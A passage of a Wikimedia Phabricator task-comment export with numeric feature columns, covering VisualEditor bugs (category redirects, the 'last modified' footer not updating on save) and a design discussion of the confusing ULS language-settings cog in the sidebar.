https://gerrit.wikimedia.org/r/118218",,,1394582184,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykcis27ybwjtiim3musu,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,24.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 118218 had a related patch set uploaded by Alex Monk:
Follow redirects in the category widgets

GERRIT_URL"
257822,"VisualEditor: If an added category is a redirect to another, suggest adding the target instead","So the redirect comes up as a suggestion, but when we add it, the redirect is resolved and the target added?",,,1394563520,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ykcis27ybwjtiim3musu,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,17.0,4.0,4.0,4.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8333333333333334,"So the redirect comes up as a suggestion, but when we add it, the redirect is resolved and the target added?"
54403,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","The sentence ""This page was last modified on … "" (message lastmodifiedat) is not updated after an edit.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=48560",Low,25.0,1375374540,1414769362.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.48,0.66,"The sentence ""This page was last modified on … "" (message lastmodifiedat) is not updated after an edit.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
257298,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved",Verified in production.,,,1416427771,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,Verified in production.
257291,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Verified in test2 and betalabs. The timestamp for ""This page was last modified on 5 November 2014, at 23:54."" seems to reflect accurately editing&saving events.",,,1415231839,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,True,,,70,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,16.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,16.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.387096774193548,0.9032258064516129,"Verified in test2 and betalabs. The timestamp for ""This page was last modified on 5 November 2014, at 23:54."" seems to reflect accurately editing&saving events."
257283,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Change 170264 merged by jenkins-bot:
Update ""page was last modified on date, at time"" footer line when saving

https://gerrit.wikimedia.org/r/170264",,,1414733101,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,False,,,69,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.888888888888889,0.9629629629629629,"Change 170264 merged by jenkins-bot:
Update ""page was last modified on date, at time"" footer line when saving

GERRIT_URL"
257275,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Change 170264 had a related patch set uploaded by Alex Monk:
Update ""page was last modified on date, at time"" footer line when saving

https://gerrit.wikimedia.org/r/170264",,,1414715367,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,False,,,69,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.967741935483871,0.967741935483871,"Change 170264 had a related patch set uploaded by Alex Monk:
Update ""page was last modified on date, at time"" footer line when saving

GERRIT_URL"
257268,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved",(... I had assumed this was for the LastModified extension without checking the message name.),,,1414707773,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,True,,,69,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,6.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.444444444444445,0.9444444444444444,(... I had assumed this was for the LastModified extension without checking the message name.)
257261,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Change 170184 abandoned by Alex Monk:
Expose getLastModifiedText function

Reason:
oops

https://gerrit.wikimedia.org/r/170184",,,1414707699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,False,,,69,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.111111111111111,0.8333333333333334,"Change 170184 abandoned by Alex Monk:
Expose getLastModifiedText function

Reason:
oops

GERRIT_URL"
257254,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Change 170184 had a related patch set uploaded by Alex Monk:
Expose getLastModifiedText function

https://gerrit.wikimedia.org/r/170184",,,1414707232,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,False,,,69,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,"Change 170184 had a related patch set uploaded by Alex Monk:
Expose getLastModifiedText function

GERRIT_URL"
257245,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Same problem as bug 48560 (the page isn't re-painted when the edit is saved, just the contents <div>, and this sits outside that).",,,1375473428,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,3.0,3.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.272727272727273,0.8787878787878788,"Same problem as bug 48560 (the page isn't re-painted when the edit is saved, just the contents <div>, and this sits outside that)."
54383,"ULS' ""Language Settings"" cog is confused with a way to edit language links","The cog to the side of the ""Languages"" sidebar section does, in fact, not let you change anything about that section.

### Concerns

* The ULS ""cog"" is visually associated with the ""Languages"" sidebar section, despite being unrelated, other than (confusingly) relating to the word ""Language"" in some way. The placement of this cog should be reconsidered.

* The ""Language"" sidebar does not currently have a way to quickly edit its contents. (Unlike HotCat for categories). It can be changed by performing a full page edit (via the main ""Edit"" button on top). Alternatively, the links can (sometimes) be edited using the ""Edit links"" placed at the end of the link, which relates to Wikidata.

### Background

There are three things related here:

1. Edit language links on current page: This is part of the content for the current page, and can be edited by clicking ""Edit"" and changing them in VisualEditor (under ""Page Settings  > Languages""), or by using the source editor.

2. Edit language links associated with current page's Wikidata item: These are stored on Wikidata and can be edited by using the ""Edit links"" button at the bottom of ""Languages"" sidebar section.

{F11931}

3. User interface language: This is the language used for the interface of the software, names of input fields, sections, buttons, etc. This can be changed in three ways currently:

| Preferences | ""Preferences"" among the personal tools. Available on all pages, all wikis. leading to Special:Preferences.  {F14222596} {F14222603}
|--
| ULS (personal)| The ULS link (language name) among the person tools. Available on all pages, but only certain wikis have it enabled. Leading to a ULS dialog dedicated to language selection.  {F14222782} {F14222792}
|--
| ULS (cog)| The ULS cog, aside the ""Languages"" section in the sidebar. Available only on content pages, all wikis. Leads to a different ULS dialog, one that also has other features, but among them language selection. {F11929} {F14223046}
|--


### Original task description

>>! this-does-not-edit-languages wrote:
>
> languages should be editable out of a link besides languages. see attachment for a wheel which opens something else, on top of languages. clicking below drops you into wikidata. to really edit the languages one has to go to page settings! very confusing.
>
>
> **Attached**: {F11929}",Low,25.0,1375354680,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,False,PHID-TASK-zatiesduw4yvsu33o45q,task_description,open,True,c1,3,False,False,,4,,1.0,0.2,0.0,1.6,0.4,3.0,0.4,0.0,0.0,0.0,1.2,0.0,0.0,0.4,0.2,0.0,0.2,3.6,9.6,0.2,0.2,0.2,0.0,0.2,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.2,0.0,0.6,0.0,0.2,0.0,0.2,0.6,0.0,0.0,0.4,0.0,2.0,0.6,0.2,0.0,0.2,0.0,17.2,0.8,0.4,0.2,0.0,0.0,0.8,0.0,0.2,0.4,0.0,0.4,0.4,0.2,0.0,0.0,0.2,0.0,6.2,2.4,13.8,0.2,1.4,8.8,0.0,0.0,0.0,1.8,2.4,0.0,0.6,0.0,1.2,9.6,7.6,0.0,5.2,0.0,1.2,0.0,0.4,0.8,0.4,1.8,0.0,0.0,1.8,3.7519635343618516,0.6141888733052829,"The cog to the side of the ""Languages"" sidebar section does, in fact, not let you change anything about that section.

### Concerns

* The ULS ""cog"" is visually associated with the ""Languages"" sidebar section, despite being unrelated, other than (confusingly) relating to the word ""Language"" in some way. The placement of this cog should be reconsidered.

* The ""Language"" sidebar does not currently have a way to quickly edit its contents. (Unlike HotCat for categories). It can be changed by performing a full page edit (via the main ""Edit"" button on top). Alternatively, the links can (sometimes) be edited using the ""Edit links"" placed at the end of the link, which relates to Wikidata.

### Background

There are three things related here:

1. Edit language links on current page: This is part of the content for the current page, and can be edited by clicking ""Edit"" and changing them in VisualEditor (under ""Page Settings  > Languages""), or by using the source editor.

2. Edit language links associated with current page's Wikidata item: These are stored on Wikidata and can be edited by using the ""Edit links"" button at the bottom of ""Languages"" sidebar section.

{F11931}

3. User interface language: This is the language used for the interface of the software, names of input fields, sections, buttons, etc. This can be changed in three ways currently:

| Preferences | ""Preferences"" among the personal tools. Available on all pages, all wikis. leading to Special:Preferences.  {F14222596} {F14222603}
|--
| ULS (personal)| The ULS link (language name) among the person tools. Available on all pages, but only certain wikis have it enabled. Leading to a ULS dialog dedicated to language selection.  {F14222782} {F14222792}
|--
| ULS (cog)| The ULS cog, aside the ""Languages"" section in the sidebar. Available only on content pages, all wikis. Leads to a different ULS dialog, one that also has other features, but among them language selection. {F11929} {F14223046}
|--


### Original task description

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
1035648,"ULS' ""Language Settings"" cog is confused with a way to edit language links","Little comment 1: Since the task was filed in 2013, another element was added to most pages near the languages in the sidebar: ""//X// more"", opening the compact language links panel. I am adding the #uls-compactlinks tag here, because even though this project didn't exist when the bug was filed, it is totally relevant in the context. I am also adding the #wikidata tag, because it has a lot to do with it.

Little comment 2: The following two tasks at least partially overlap with this one:
# {T53355}
# {T53431}

----

So, we now have two or three elements near the languages list:
# The cog, near the ""Languages"" title:
-- Coming from the ULS extension. Used for choosing UI language, and configuring webfonts and keyboards. It was put there back in 2012 when the first version of ULS was developed. Of course, the association between the ""Languages"" title, familiar to most wiki editors (and possibly to many readers) was a factor in choosing this location.
# The Wikidata link at the bottom:
-- It has the text ""Add links"" when the page is not linked to versions in other languages. Clicking it opens a dialog for adding the links without leaving the page.
-- It has the text ""Edit links"" when the page is linked to versions in other languages. Clicking it goes to the item page in Wikidata.
# The Compact Language Links ""''X'' more"" button:
-- Appears only on pages with 9 links or more, and only if the Compact Language Links preference is enabled. (It was in beta for a long time, but now it is default in Wikipedia in all languages, and in most other Wikimedia projects.)
-- Clicking it opens a ULS panel with all the languages in which the page is available.

----

This is not ideal.

This is not ideal for a lot of reasons:
# Generally, three elements near the language the list //feel// like a bit too much.
# The cog is at the top, but the things that it includes are //probably// needed by fewer people. I'm saying ""probably"", because I don't have the numbers, but we can try to obtain them. Fonts and keyboards configuration is important in some languages, but completely unnecessary in a lot of others (at least in the current implementation; I have a lot of ideas for redoing webfonts support, but they are far from being implemented, and they are way beyond the scope of this task). One thing I'm sure of is the the other two elements are needed by users in wikis in all languages, and the cog—only in some.
# The language selector in ""Display settings"" under the cog includes all the languages, but it only selects the UI language. Even though the panel explicitly says what does it do, I suspect that some people—possibly a lot—select the UI language instead of the article language. I've seen it happening to a lot of people in workshops for new editors.
# As a follow up to the previous point: Changing the UI language is not currently available to logged-out users. The panel says so, and some people may even think that they can only read an article in another language if they log in. It may sound crazy, but it may be true.
# The title is not always actually ""Languages"". It is ""Languages"" in some wikis, but in others it is ""In other languages"", ""This page in other languages"", or something else.
# ""Add links"" and ""Edit links"" have the same location, but different text, and completely different behavior. I suspect that a lot of editors will appreciate //editing// wikidata sitelinks (i.e. languages) in a dialog similar to the one that is used for initial linking, thus making the functionalities similar. I've been hearing comments like this from a lot of users in a lot of languages for years.
# This is more of a guess than the previous point, but I further suspect that a lot of editors will appreciate a link to the Wikidata item page in a convenient location, possibly near the language list. ""Edit links"" is such a link already, but that's not what its title says. There is also a ""Wikidata item"" link buried elsewhere in the sidebar, which does largely the same thing. As an editor, it's one of the very few sidebar links that I actually use, although I might be very different from a lot of other people. This requires proper research.
# The ""''X'' more"" button appears in some cases, but not always.
# The language selector (ULS) and the language editor (WikidataClient's dialog) are related in their functionality, but they have a completely different interface design. It would be nice to bring their appearance closer to each other.

----

That's a lot of different issues. There's material here for a lot of different tasks and subtasks. Fixing them is desirable. It won't happen overnight, and it will require //proper// design work, and not just editors' or developers' intuition. It will probably require collaboration between Wikidata developers and WMF's Language team developers.

But yes, it's about time to start resolving it.

To @Krinkle's question—no, there's no proper roadmap at the moment. This very long comment is, hopefully, the first attempt to think of such a roadmap.",,,1521568306,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,246,,1.1666666666666667,0.08333333333333333,0.5833333333333334,1.0833333333333333,0.9166666666666666,5.0,1.3333333333333333,0.25,0.25,0.16666666666666666,3.1666666666666665,1.0833333333333333,0.0,0.5,0.25,1.25,0.08333333333333333,6.0,10.416666666666666,0.08333333333333333,0.4166666666666667,0.0,0.08333333333333333,0.08333333333333333,0.6666666666666666,0.25,0.08333333333333333,0.5,0.5,0.4166666666666667,0.0,5.333333333333333,0.75,2.25,1.1666666666666667,0.0,0.16666666666666666,0.08333333333333333,0.16666666666666666,0.3333333333333333,0.08333333333333333,0.75,0.16666666666666666,1.9166666666666667,0.16666666666666666,0.5,0.16666666666666666,0.08333333333333333,0.3333333333333333,16.833333333333332,0.5,0.5833333333333334,0.08333333333333333,2.0,0.0,0.08333333333333333,0.0,0.0,1.0,0.5,0.25,0.6666666666666666,0.0,0.25,0.16666666666666666,0.08333333333333333,0.0,7.833333333333333,3.3333333333333335,8.5,1.4166666666666667,2.8333333333333335,10.5,0.0,0.0,0.0,1.3333333333333333,2.0,0.25,1.0,0.0,4.333333333333333,10.416666666666666,2.5,0.0,3.0,0.0,4.333333333333333,0.0,0.9166666666666666,2.4166666666666665,0.16666666666666666,1.75,0.5833333333333334,0.4166666666666667,0.16666666666666666,3.794563226628444,0.6688166905558209,"Little comment 1: Since the task was filed in 2013, another element was added to most pages near the languages in the sidebar: ""//X// more"", opening the compact language links panel. I am adding the #uls-compactlinks tag here, because even though this project didn't exist when the bug was filed, it is totally relevant in the context. I am also adding the #wikidata tag, because it has a lot to do with it.

Little comment 2: The following two tasks at least partially overlap with this one:
# {T53355}
# {T53431}

----

So, we now have two or three elements near the languages list:
# The cog, near the ""Languages"" title:
-- Coming from the ULS extension. Used for choosing UI language, and configuring webfonts and keyboards. It was put there back in 2012 when the first version of ULS was developed. Of course, the association between the ""Languages"" title, familiar to most wiki editors (and possibly to many readers) was a factor in choosing this location.
# The Wikidata link at the bottom:
-- It has the text ""Add links"" when the page is not linked to versions in other languages. Clicking it opens a dialog for adding the links without leaving the page.
-- It has the text ""Edit links"" when the page is linked to versions in other languages. Clicking it goes to the item page in Wikidata.
# The Compact Language Links ""''X'' more"" button:
-- Appears only on pages with 9 links or more, and only if the Compact Language Links preference is enabled. (It was in beta for a long time, but now it is default in Wikipedia in all languages, and in most other Wikimedia projects.)
-- Clicking it opens a ULS panel with all the languages in which the page is available.

----

This is not ideal.

This is not ideal for a lot of reasons:
# Generally, three elements near the language the list //feel// like a bit too much.
# The cog is at the top, but the things that it includes are //probably// needed by fewer people. I'm saying ""probably"", because I don't have the numbers, but we can try to obtain them. Fonts and keyboards configuration is important in some languages, but completely unnecessary in a lot of others (at least in the current implementation; I have a lot of ideas for redoing webfonts support, but they are far from being implemented, and they are way beyond the scope of this task). One thing I'm sure of is the the other two elements are needed by users in wikis in all languages, and the cog—only in some.
# The language selector in ""Display settings"" under the cog includes all the languages, but it only selects the UI language. Even though the panel explicitly says what does it do, I suspect that some people—possibly a lot—select the UI language instead of the article language. I've seen it happening to a lot of people in workshops for new editors.
# As a follow up to the previous point: Changing the UI language is not currently available to logged-out users. The panel says so, and some people may even think that they can only read an article in another language if they log in. It may sound crazy, but it may be true.
# The title is not always actually ""Languages"". It is ""Languages"" in some wikis, but in others it is ""In other languages"", ""This page in other languages"", or something else.
# ""Add links"" and ""Edit links"" have the same location, but different text, and completely different behavior. I suspect that a lot of editors will appreciate //editing// wikidata sitelinks (i.e. languages) in a dialog similar to the one that is used for initial linking, thus making the functionalities similar. I've been hearing comments like this from a lot of users in a lot of languages for years.
# This is more of a guess than the previous point, but I further suspect that a lot of editors will appreciate a link to the Wikidata item page in a convenient location, possibly near the language list. ""Edit links"" is such a link already, but that's not what its title says. There is also a ""Wikidata item"" link buried elsewhere in the sidebar, which does largely the same thing. As an editor, it's one of the very few sidebar links that I actually use, although I might be very different from a lot of other people. This requires proper research.
# The ""''X'' more"" button appears in some cases, but not always.
# The language selector (ULS) and the language editor (WikidataClient's dialog) are related in their functionality, but they have a completely different interface design. It would be nice to bring their appearance closer to each other.

----

That's a lot of different issues. There's material here for a lot of different tasks and subtasks. Fixing them is desirable. It won't happen overnight, and it will require //proper// design work, and not just editors' or developers' intuition. It will probably require collaboration between Wikidata developers and WMF's Language team developers.

But yes, it's about time to start resolving it.

ToSCREEN_NAME's question—no, there's no proper roadmap at the moment. This very long comment is, hopefully, the first attempt to think of such a roadmap."
1035642,"ULS' ""Language Settings"" cog is confused with a way to edit language links","Little comment 1: Since the task was filed in 2013, another element was added to most pages near the languages in the sidebar: ""//X// more"", opening the compact language links panel. I am adding the #uls-compactlinks tag here, because even though this project didn't exist when the bug was filed, it is totally relevant in the context. I am also adding the #wikidata tag, because it has a lot to do with it.

Little comment 2: The following two tasks at least partially overlap with this one:
# {T53355}
# {T53431}

----

So, we now have two or three elements near the languages list:
# The cog, near the ""Languages"" title:
-- Coming from the ULS extension. Used for choosing UI language, and configuring webfonts and keyboards. It was put there back in 2012 when the first version of ULS was developed. Of course, the association between the ""Languages"" title, familiar to most wiki editors (and possibly to many readers) was a factor in choosing this location.
# The Wikidata link at the bottom:
-- It has the text ""Add links"" when the page is not linked to versions in other languages. Clicking it opens a dialog for adding the links without leaving the page.
-- It has the text ""Edit links"" when the page is linked to versions in other languages. Clicking it goes to the item page in Wikidata.
# The Compact Language Links ""''X'' more"" button:
-- Appears only on pages with 9 links or more, and only if the Compact Language Links preference is enabled. (It was in beta for a long time, but now it is default in Wikipedia in all languages, and in most other Wikimedia projects.)
-- Clicking it opens a ULS panel with all the languages in which the page is available.

----

This is not ideal.

This is not ideal for a lot of reasons:
# Generally, three elements near the language the list //feel// like a bit too much.
# The cog is at the top, but the things that it includes are //probably// needed by fewer people. I'm saying ""probably"", because I don't have the numbers, but we can try to obtain them. Fonts and keyboards configuration is important in some languages, but completely unnecessary in a lot of others (at least in the current implementation; I have a lot of ideas for redoing webfonts support, but they are far from being implemented, and they are way beyond the scope of this task). One thing I'm sure of is the the other two elements are needed by users in wikis in all languages, and the cog—only in some.
# The language selector in ""Display settings"" under the cog includes all the languages, but it only selects the UI language. Even though the panel explicitly says what does it do, I suspect that some people—possibly a lot—select the UI language instead of the article language. I've seen it happening to a lot of people in workshops for new editors.
# As a follow up to the previous point: Changing the UI language is not currently available to logged-out users. The panel says so, and some people may even think that they can only read an article in another language if they log in. It may sound crazy, but it may be true.
# The title is not always actually ""Languages"". It is ""Languages"" in some wikis, but in others it is ""In other languages"", ""This page in other languages"", or something else.
# ""Add links"" and ""Edit links"" have the same location, but different text, and completely different behavior. I suspect that a lot of editors will appreciate //editing// wikidata sitelinks (i.e. languages) in a dialog similar to the one that is used for initial linking, thus making the functionalities similar. I've been hearing comments like this from a lot of users in a lot of languages for years.
# This is more of a guess than the previous point, but I further suspect that a lot of editors will appreciate a link to the Wikidata item page in a convenient location, possibly near the language list. ""Edit links"" is such a link already, but that's not what its title says. There is also a ""Wikidata item"" link buried elsewhere in the sidebar, which does largely the same thing. As an editor, it's one of the very few sidebar links that I actually use, although I might be very different from a lot of other people. This requires proper research.
# The ""''X'' more"" button appears in some cases, but not always.
# The language selector (ULS) and the language editor (WikidataClient's dialog) are related in their functionality, but they have a completely different interface design. It would be nice to bring their appearance closer to each other.

----

That's a lot of different issues. There's material here for a lot of different tasks and subtasks. Fixing them is desirable. It won't happen overnight, and it will require //proper// design work, and not just editors' or developers' intuition.

But yes, it's about time to start resolving it.

To @Krinkle's question—no, there's no proper roadmap at the moment. This very long comment is, hopefully, the first attempt to think of such a roadmap.",,,1521567896,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,246,,1.2727272727272727,0.09090909090909091,0.6363636363636364,1.1818181818181819,1.0,5.454545454545454,1.4545454545454546,0.2727272727272727,0.2727272727272727,0.18181818181818182,3.4545454545454546,1.1818181818181819,0.0,0.5454545454545454,0.2727272727272727,1.3636363636363635,0.09090909090909091,6.363636363636363,11.181818181818182,0.09090909090909091,0.45454545454545453,0.0,0.09090909090909091,0.09090909090909091,0.7272727272727273,0.2727272727272727,0.09090909090909091,0.5454545454545454,0.5454545454545454,0.36363636363636365,0.0,5.818181818181818,0.8181818181818182,2.3636363636363638,1.2727272727272727,0.0,0.18181818181818182,0.09090909090909091,0.18181818181818182,0.2727272727272727,0.09090909090909091,0.8181818181818182,0.18181818181818182,2.0,0.18181818181818182,0.5454545454545454,0.18181818181818182,0.09090909090909091,0.36363636363636365,18.0,0.5454545454545454,0.6363636363636364,0.09090909090909091,2.1818181818181817,0.0,0.09090909090909091,0.0,0.0,1.0909090909090908,0.5454545454545454,0.2727272727272727,0.6363636363636364,0.0,0.2727272727272727,0.18181818181818182,0.09090909090909091,0.0,8.545454545454545,3.6363636363636362,8.818181818181818,1.5454545454545454,3.0,11.363636363636363,0.0,0.0,0.0,1.4545454545454546,2.0909090909090